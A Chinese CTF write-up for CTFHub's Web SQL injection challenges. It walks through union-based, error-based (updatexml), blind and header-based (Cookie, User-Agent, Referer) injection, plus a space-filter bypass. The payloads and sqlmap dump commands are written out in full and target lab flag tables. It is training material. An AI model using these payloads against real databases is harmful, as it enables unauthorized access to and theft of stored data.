Bootstrap

题解记录-CTFHub技能树|Web|SQL注入

CTFHub技能树-Web-SQL注入



前言

在这里插入图片描述


一、整数型注入

在这里插入图片描述
已知是整数型注入,故可直接判断字段数
当order by 3 时报错,说明有2个字段

在这里插入图片描述
为了保证之前的数据查询不出来,将1改为-1,然后输入-1 union select 1,2 进行查询

在这里插入图片描述
在2的位置查询数据库名,输入-1 union select 1,database(),得到数据库名为sqli

在这里插入图片描述
接下来获取数据库表名,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’,发现flag表

在这里插入图片描述
获取flag表的字段名,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’,发现字段flag

在这里插入图片描述
查询flag字段值,输入-1 union select 1,flag from sqli.flag,获得flag

在这里插入图片描述

二、字符型注入

字符型注入,用#来过滤掉后面的 ’
先判断字段数,输入1’ order by 1/2/3… #,发现到3时报错,即字段数为2

在这里插入图片描述
联合查询数据库名,输入 -1’ union select 1,2# 与 -1’ union select 1,database()# 获得数据库名sqli

在这里插入图片描述在这里插入图片描述
接着查询表名,输入-1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’#,发现flag表

在这里插入图片描述
查询flag表的字段,输入-1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flag’#,发现flag字段

在这里插入图片描述
查询flag字段值,输入-1’ union select 1,flag from sqli.flag#,获得flag

在这里插入图片描述

三、报错注入

报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息

在这里插入图片描述
先判断字段数,发现3时报错,即字段数为2

在这里插入图片描述
这里使用updatexml()构造payload
select updatexml(“abc”,“//div/p/text()”,“abcd”) 的意思是把"abc"换成"abcd" ,而服务器要通过xpath路径"//div/p/text()“找到"abc”
这时如果xpath路径格式出错了,则会把校验xpath路径后的结果通过报错信息显示出来,如果我们把xpath路径改成我们想知道的信息,结果就会通过报错信息显示出来。
输入-1 and updatexml(1,concat(1,database()),2) 就可以通过报错信息得到当前服务器使用数据库的名字’sqli’

在这里插入图片描述
接下来获取表名,输入-1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema =‘sqli’))),2)
,发现flag表

在这里插入图片描述
获取flag表字段,输入-1 and updatexml(1,(concat(1,(select group_concat(column_name) from information_schema.columns where table_name =‘flag’))),2),发现flag字段

在这里插入图片描述
获取flag字段值,输入-1 and updatexml(1,(concat(1,(select flag from sqli.flag))),2),得到flag

在这里插入图片描述

四、布尔盲注

发现只回显query_success和query_false
在这里插入图片描述
手工注入太繁琐,这里使用sqlmap工具(可能需要点时间)
爆库,输入python sqlmap.py -u “url” --dbs,发现sqli库

在这里插入图片描述在这里插入图片描述
爆表,输入python sqlmap.py -u “url” -D sqli --tables,发现flag表

在这里插入图片描述
爆列,输入python sqlmap.py -u “url” -D sqli -T flag --columns,发现flag字段

在这里插入图片描述
爆字段,输入python sqlmap.py -u “url” -D sqli -T flag -C flag --dump,得到flag

在这里插入图片描述

五、时间盲注

在这里插入图片描述
同样,这里使用sqlmap工具
爆库,输入python sqlmap.py -u “url” --dbs --batch(–batch表示自动执行,无需手动输入y),发现sqli库

在这里插入图片描述
爆表,输入python sqlmap.py -u “url” -D sqli --tables,发现flag表

在这里插入图片描述
爆列,输入python sqlmap.py -u “url” -D sqli -T flag --columns,发现flag字段

在这里插入图片描述
爆字段,输入python sqlmap.py -u “url” -D sqli -T flag -C flag --dump,得到flag

在这里插入图片描述

六、MySQL结构

本题与整数型注入类似
判断字段数,到3时报错,则字段数为2
在这里插入图片描述
查询数据库名,为’sqli’

在这里插入图片描述
查询数据库表名,发现一个与之前不一样的epusvxnajl表

在这里插入图片描述
查询表字段,发现kdmwpiyetq字段

在这里插入图片描述
查询该字段值,得到flag

在这里插入图片描述

七、Cookie注入

抓包,将之前的输入框换成在cookie处注入
判断出是整数型注入
在这里插入图片描述
判断字段数,当order by 3 时报错,说明有2个字段

在这里插入图片描述
查询数据库名,得到数据库名为sqli

在这里插入图片描述
获取数据库表名,发现目标表

在这里插入图片描述
获取flag表的字段名,发现目标字段

在这里插入图片描述
查询字段值,获得flag

在这里插入图片描述

八、UA注入

抓包,判断是整数型注入后,与cookie 的处理方式相同,只是代码位置不同
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

九、Refer注入

抓包,没有refer的话,自行加上,判断是整数型注入后,与cookie 的处理方式相同,只是代码位置不同

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

十、过滤空格

测试发现是整数型注入,本题过滤了空格,故用/**/来代替空格
之后的操作就和之前整数型注入相同,只是不使用空格
最终得到了flag

在这里插入图片描述在这里插入图片描述


总结

手工注入:判断注入类型,判断字段数,查询数据库名,查询数据库表名,查询表字段名,获得字段值
sqlmap工具:爆库,爆表,爆列,爆字段

;